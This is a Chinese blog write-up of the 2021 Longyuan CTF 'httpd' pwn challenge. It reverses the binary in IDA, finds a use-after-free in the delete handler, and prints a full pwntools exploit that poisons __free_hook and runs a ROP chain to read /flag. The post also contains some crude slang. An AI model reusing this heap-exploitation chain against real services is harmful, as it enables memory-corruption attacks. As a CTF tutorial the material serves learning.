2021陇原战"疫"httpd

前言

可以说 httpd 与👴有很长渊源了。👴刚进贵🐋️的时候,👴的老师是 aidai。讲 web 的那一学期,他布置的二进制作业是阅读 tinyhttpd 源码。你知道一个大笔都对带一新生的心灵造成了多大的伤害吗!👴每个字母都认识,但是就是看不懂啊。

后来在纵横杯 awd 赛道上,aidai 一手 %66lag 秒了一个 httpd。让 StudentUnion 的名字第一次出现在了 CTF 的赛场上。

然后👴这次又碰见了这个不怎么友好的 httpd。

碎碎念

非题解部分,不想看的同志请直接 跳转到题解

说是 httpd,其实就是堆菜单题套了个壳。属于是换皮出题了。

这题其实不怎么难,关键是有点脑洞。拿到这题,直接去找 web 师傅看一下。

“有没有 web 老哥看一下 pwn 的 httpd。”

我对 web 可以说是一窍不通,只会右键查看源码。( mac 的 touch bar F12 不好使,我连 F12 都不会 )

然后没人回我……然后我想直接放弃得了,反正不做这题也是第一,躺了躺了。等了一会儿,逆向师傅看了一眼 /robots.txt,直接把二进制文件给你拖下来咯。

好家伙

然后直接进行一个 api 的分析。

Files Downloads: /backup.zip

    HTTPD ALL APIS:

Add API:
method: POST
url: /?req=add&index=@&size=@
post your data



Delete API:
method: GET
url = /?req=del&index=@



Get API:
method: GET
url : /?req=get&index=@


    [@: is your input value]

这一看就是个堆菜单题的标准模板嘛。直接打开 burp 进行一个试的测。

通过 POST 来创建堆块。然后再用 GET 来 get 他。好家伙,返回 ` { “code”:”false”,”msg”:”none data” } `。

怀疑 add 时没有写入。理由是 add 返回了 {"code":"true", "msg":"warning none data!"}。于是去逆向分析一波。在 0x15110 左右一大堆 xmm 变量里面找到了 warning none data! 这个字符串。找到 httpd::work::work::client_add_data(void) 这个函数,里面大约 360 行有检测。

if ( !httpd::work::work::client_check_is_none(v3) )
  {
    v54 = &s1;
    v45 = 0x2BLL;
    v37 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v54, &v45, 0LL);
    v54 = v37;
    s1 = v45;
    *v37 = _mm_load_si128(&unk_15180);
    v38 = _mm_load_si128(&warning_no_data);
    *(v37 + 32) = 'atad eno';
    *(v37 + 40) = '"!';
    *(v37 + 42) = '}';
    *(v37 + 16) = v38;
    v55 = v45;
    *(v54 + v45) = 0;
    v25 = *(v3 + 9) == 0LL;
    v49 = &v51;
    v51 = 1869834798;
    v52 = 110;
    v50 = 5LL;
    v53 = 0;
    if ( !v25 )
    {
      (*(v3 + 10))(v3 + 56, &v49, &v54);
      goto LABEL_70;
    }
l1:
    if ( v54 != &s1 )
      operator delete(v54);
    goto LABEL_58;
  }

分析一下 httpd::work::work::client_check_is_none 这个函数。

__int64 __fastcall httpd::work::work::client_check_is_none(httpd::work::work *this)
{
  const __m128i *v1; // rbp
  __int64 *v2; // r12
  __int64 len; // [rsp+0h] [rbp-50h]
  __m128i *v5; // [rsp+8h] [rbp-48h]
  __int64 v6; // [rsp+10h] [rbp-40h]
  __int64 v7; // [rsp+18h] [rbp-38h]
  unsigned __int64 v8; // [rsp+30h] [rbp-20h]

  __asm { endbr64 }
  v8 = __readfsqword(0x28u);
  v1 = **(this + 2);
  v5 = &v7;
  if ( !v1 )
    goto LABEL_9;
  v2 = &v5;
  len = 0x10LL;
  v5 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v5, &len, 0LL);
  v7 = len;
  *v5 = _mm_loadu_si128(v1);
  v6 = len;
  *(v5->m128i_i64 + len) = 0;
  LOBYTE(v2) = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare() == 0;
  if ( v5 != &v7 )
    operator delete(v5);
  if ( __readfsqword(0x28u) != v8 )
LABEL_9:
    std::__throw_logic_error("basic_string::_M_construct null not valid");
  return v2;
}

这里 ida 抽风了,compare 的两个参数分别是 &v5 和 “CHECK”。也就是一个长度为 0x10 的字符串和一个长度为 5 的 const char * 比较,这 tmd 不可能返回 0 啊我寻思。

然后我寻思本地 debug 一下看怎么绕过。把请求头写好直接 send 返回错误,焯。

到比赛结束也没弄好,寄。

某位带师傅试了试加上 \r\n,本地不报错了。开始本地调试。

题解

此处摘取重要信息。

add函数:

unsigned __int64 __fastcall httpd::work::work::client_add_data(httpd::work::work *this){
    ...
    idx = strtol(*(v14 + 64), 0LL, '\n');
    if ( v54 != &s1 )
        operator delete(v54);
    if ( idx > 0xFF )
    {
        ...
    }
    v22 = v3 + 16 * idx;
    if ( *(v22 + 328) > 0 )
    {
    ...
    }
    *(v22 + 0x148) = size;
    if ( size > 0x400 )
    {
        ...
    }
    chunk = operator new[](size);
    *(v22 + 0x140) = chunk;
    size_1 = v44;
    if ( size < v44 )
        size_1 = size;
    memcpy(chunk, **(v3 + 2), size_1);
    if ( !httpd::work::work::client_check_is_none(v3) )
    {
        ...
    }
}

httpd::work::work::client_check_is_none(v3) 之前已经通过 memcpy 将 POST 的信息保存下来了。因此 client_check_is_none 报不报错无所谓。之所以前面没有 get 到信息,是因为…没用 socket。

unsigned __int64 __usercall httpd::work::work::client_delete_data@<rax>(httpd::work::work *this@<rdi>, __int64 a2@<rbx>, __int64 a3@<rbp>, __int64 a4@<r12>, __int64 a5@<r13>, __int64 a6@<r14>, __int64 a7@<r15>){
    ...
    if ( *(v18 + 328) ) //size
  {
    v19 = *(v18 + 320);
    if ( v19 )
      operator delete[](v19);
    v33 = &s1;
    s1 = ':"edoc"{';
    *(v18 + 328) = 0;//size
    v20 = *(v9 + 9) == 0LL;
    v36 = 'urt"';
    v37 = '"e';
    v38 = '}';
  }
    ...
}

结合这个函数,漏洞很明显,size 在 报错之前被写入了,而 free 只清除了 size 位置。因此是一个裸的 UAF。这就好办了,直接 UAF 打 __free_hook,然后绕沙箱就完事了。

有了上面的分析,相信大家闭着眼都能把 exp 写出来了吧。

exp 附上,非最差解

from pwn import *
# r = process(["./httpd"])
# r = process(["./httpd"],env={"LD_PRELOAD":"./libc.so.6"})
# context.log_level = 'debug'
libc = ELF("./libc.so.6")
def add(index,size,con):
    r.send("""POST /?req=add&index=%d&size=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\nContent-Length: %d\r\n\r\n%s"""%(index,size,len(con),con))
    sleep(0.1)

def get(index):
    r.send("GET /?req=get&index=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"%(index))
    sleep(0.1)

def delete(index):
    r.send("GET /?req=del&index=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"%(index))
    sleep(0.1)


r = remote("node4.buuoj.cn",29026)

for i in range(7):
    add(i,0x400,'nmslnmslnmslnmsl')

add(7,0x400,'wsnd')

add(8,0x40,'wsndwsndwsndwsnd')
add(9,0x40,'wsndwsndwsndwsnd')
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)

delete(7)
add(7,0x800,'wsnd')
r.recv()
get(7)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x1ebbe0
success("libc_base = "+hex(libc_base))

gadget=libc_base+0x0000000000154930
success("gadget = "+hex(gadget))
rdi = libc_base+0x0000000000026b72
rsi = libc_base+0x0000000000027529
rdx2 = libc_base+0x0000000000162866
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
puts = libc_base+libc.sym['puts']
gadget2 = libc_base+0x000000000005e650
rop = p64(rdi)+p64(libc_base+libc.sym['__free_hook']+0x10)+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx2)+p64(0x40)+p64(0)+p64(read)
rop += p64(rdi)+p64(libc_base+libc.bss())+p64(puts)
info(hex(len(rop)))
payload = p64(rdx2)+p64(0)+p64(0)+p64(rdi)+p64(gadget2)+rop

delete(8)
delete(9)
add(9,0x800,'leak')

for i in range(7):
    add(i+40,0x58,'nmsl')
add(10,0x58,'nmsl')
add(11,0x58,'nmsl')

for i in range(7):
    delete(i+40)
add(15,0x3e0,payload)
add(16,0x3e0,payload)
add(17,0x3e0,payload)

delete(17)
delete(16)
delete(15)
r.recv()
add(15,0x800,'nmsl')
r.recv()
get(15)
context.log_level='debug'
heap_base = u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))
success("heap_base = "+hex(heap_base))

add(16,0x3e0,payload)
add(17,0x3e0,payload)
add(18,0x3e0,payload)
add(19,0x3e0,payload)
delete(10)
delete(11)
add(10,0x800,'double free')
delete(10)

for i in range(7):
    add(i+60,0x58,'nmsl')

add(11,0x58,p64(libc_base+libc.sym['__free_hook']))
add(12,0x58,p64(libc_base+libc.sym['__free_hook']))
add(13,0x58,p64(libc_base+libc.sym['__free_hook']))
add(14,0x58,p64(gadget)+p64(heap_base)+'/flag\x00')

r.interactive()

内容有粗鄙之语,习惯,多包涵。

gadget 利用分析请转本博客 bytectf2020 复现。

有个小坑,我本地和远程的堆布局不一样…索性直接申请好几个大堆块泄露了再把 rop 写进去,完事。

此方法非最差解。setcontext 亦可解之。

躺赢

物资

携手抗疫,共度难关!


如果这篇博客帮助到你,可以留言夸夸我~
CC BY-NC 4.0 (除特别声明或转载文章外)